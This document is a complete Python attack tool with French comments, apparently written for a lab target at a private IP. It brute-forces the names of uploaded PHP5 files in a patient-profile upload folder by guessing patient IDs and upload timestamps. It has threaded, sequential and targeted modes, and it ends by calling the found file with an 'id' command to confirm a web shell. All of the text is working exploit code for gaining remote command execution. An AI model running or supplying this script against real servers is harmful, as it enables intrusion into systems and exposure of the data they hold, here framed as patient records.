#!/usr/bin/env python3
import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
# Configuration
TARGET = "http://10.10.10.50/uploads/profiles/"
EXTENSION = "php5"
TIMEOUT = 2
# Patient IDs à tester (ajustez selon ce que vous savez)
PATIENT_IDS = range(1, 100) # Testez de 1 à 99
# Timestamp range : testez ±5 minutes autour du moment de l'upload
UPLOAD_TIME = int(time.time()) # Moment actuel
TIME_RANGE = 300 # ±5 minutes (300 secondes)
def check_file(patient_id, timestamp):
"""Vérifie si un fichier existe"""
filename = f"profile_{patient_id}_{timestamp}.{EXTENSION}"
url = f"{TARGET}{filename}"
try:
r = requests.get(url, timeout=TIMEOUT, allow_redirects=False)
if r.status_code == 200:
return filename, url, r
elif r.status_code == 404:
return None
else:
# Codes comme 403, 302, etc. peuvent indiquer que le fichier existe
return filename, url, r
except requests.exceptions.RequestException:
return None
def bruteforce_sequential(patient_ids, start_time, time_range):
"""Bruteforce séquentiel"""
print(f"[*] Starting sequential bruteforce...")
print(f"[*] Patient IDs: {patient_ids[0]}-{patient_ids[-1]}")
print(f"[*] Time range: {start_time - time_range} to {start_time + time_range}")
total = len(patient_ids) * (time_range * 2)
tested = 0
for patient_id in patient_ids:
for offset in range(-time_range, time_range + 1):
timestamp = start_time + offset
tested += 1
if tested % 1000 == 0:
progress = (tested / total) * 100
print(f"[*] Progress: {tested}/{total} ({progress:.2f}%)", end='\r')
result = check_file(patient_id, timestamp)
if result:
filename, url, response = result
print(f"\n[+] FOUND: {url}")
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Patient ID: {patient_id}")
print(f"[+] Timestamp: {timestamp} ({datetime.fromtimestamp(timestamp)})")
return filename, url
print(f"\n[-] File not found after {tested} attempts")
return None, None
def bruteforce_threaded(patient_ids, start_time, time_range, threads=50):
"""Bruteforce multithread (BEAUCOUP plus rapide)"""
print(f"[*] Starting threaded bruteforce with {threads} threads...")
print(f"[*] Patient IDs: {patient_ids[0]}-{patient_ids[-1]}")
print(f"[*] Time range: {start_time - time_range} to {start_time + time_range}")
tasks = []
for patient_id in patient_ids:
for offset in range(-time_range, time_range + 1):
timestamp = start_time + offset
tasks.append((patient_id, timestamp))
total = len(tasks)
tested = 0
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(check_file, pid, ts): (pid, ts) for pid, ts in tasks}
for future in as_completed(futures):
tested += 1
if tested % 100 == 0:
progress = (tested / total) * 100
print(f"[*] Progress: {tested}/{total} ({progress:.2f}%)", end='\r')
result = future.result()
if result:
filename, url, response = result
print(f"\n[+] FOUND: {url}")
print(f"[+] Status Code: {response.status_code}")
patient_id, timestamp = futures[future]
print(f"[+] Patient ID: {patient_id}")
print(f"[+] Timestamp: {timestamp} ({datetime.fromtimestamp(timestamp)})")
# Annuler les tâches restantes
for f in futures:
f.cancel()
return filename, url
print(f"\n[-] File not found after {total} attempts")
return None, None
def smart_bruteforce(patient_id, upload_time_estimate, window=60):
"""Bruteforce intelligent autour d'un timestamp estimé"""
print(f"[*] Smart bruteforce for patient_id={patient_id}")
print(f"[*] Estimated upload time: {datetime.fromtimestamp(upload_time_estimate)}")
print(f"[*] Window: ±{window} seconds")
# Test d'abord le timestamp exact
result = check_file(patient_id, upload_time_estimate)
if result:
filename, url, response = result
print(f"[+] FOUND on first try: {url}")
return filename, url
# Puis test en spirale (±1, ±2, ±3, etc.)
for offset in range(1, window + 1):
# Test timestamp + offset
result = check_file(patient_id, upload_time_estimate + offset)
if result:
filename, url, response = result
print(f"[+] FOUND: {url} (+{offset}s)")
return filename, url
# Test timestamp - offset
result = check_file(patient_id, upload_time_estimate - offset)
if result:
filename, url, response = result
print(f"[+] FOUND: {url} (-{offset}s)")
return filename, url
if offset % 10 == 0:
print(f"[*] Tested ±{offset} seconds...", end='\r')
print(f"\n[-] File not found in ±{window} second window")
return None, None
def interactive_mode():
"""Mode interactif pour ajuster les paramètres"""
print("=== Upload Bruteforce Tool ===\n")
# Patient ID
print("Patient ID options:")
print("1. Test a specific ID")
print("2. Test a range of IDs")
print("3. Use common IDs (1-100)")
choice = input("\nChoice: ")
if choice == "1":
patient_ids = [int(input("Patient ID: "))]
elif choice == "2":
start = int(input("Start ID: "))
end = int(input("End ID: "))
patient_ids = range(start, end + 1)
else:
patient_ids = range(1, 101)
# Timestamp
print("\nTimestamp options:")
print("1. Around NOW (upload just happened)")
print("2. Specify exact timestamp")
print("3. Specify date/time")
choice = input("\nChoice: ")
if choice == "1":
upload_time = int(time.time())
time_range = int(input("Time window in seconds (default 300): ") or "300")
elif choice == "2":
upload_time = int(input("Unix timestamp: "))
time_range = int(input("Time window in seconds: "))
else:
date_str = input("Date/time (YYYY-MM-DD HH:MM:SS): ")
dt = datetime.strptime(date_str, "%Y-%m-%d %H:%M:%S")
upload_time = int(dt.timestamp())
time_range = int(input("Time window in seconds: "))
# Method
print("\nBruteforce method:")
print("1. Threaded (fast, default)")
print("2. Sequential (slower)")
print("3. Smart (if you know patient_id and approximate time)")
choice = input("\nChoice (default 1): ") or "1"
if choice == "3":
patient_id = int(input("Patient ID: "))
window = int(input("Time window (seconds, default 60): ") or "60")
return smart_bruteforce(patient_id, upload_time, window)
elif choice == "2":
return bruteforce_sequential(patient_ids, upload_time, time_range)
else:
threads = int(input("Number of threads (default 50): ") or "50")
return bruteforce_threaded(patient_ids, upload_time, time_range, threads)
if __name__ == "__main__":
if len(sys.argv) > 1:
# Mode ligne de commande
if sys.argv[1] == "fast":
# Bruteforce rapide : patient 1-20, last 2 minutes
patient_ids = range(1, 21)
upload_time = int(time.time())
bruteforce_threaded(patient_ids, upload_time, 120, threads=100)
elif sys.argv[1] == "smart":
# Mode smart avec arguments
patient_id = int(sys.argv[2])
timestamp = int(sys.argv[3]) if len(sys.argv) > 3 else int(time.time())
smart_bruteforce(patient_id, timestamp, window=60)
else:
print("Usage:")
print(" python3 upload_bruteforce.py # Interactive mode")
print(" python3 upload_bruteforce.py fast # Quick scan")
print(" python3 upload_bruteforce.py smart <id> [timestamp]")
else:
# Mode interactif
filename, url = interactive_mode()
if url:
print(f"\n[+] SUCCESS! Access your file at: {url}")
print(f"\n[*] Testing if it's a shell...")
try:
r = requests.get(url + "?c=id", timeout=5)
if r.status_code == 200:
print(f"[+] Shell response:\n{r.text}")
except:
pass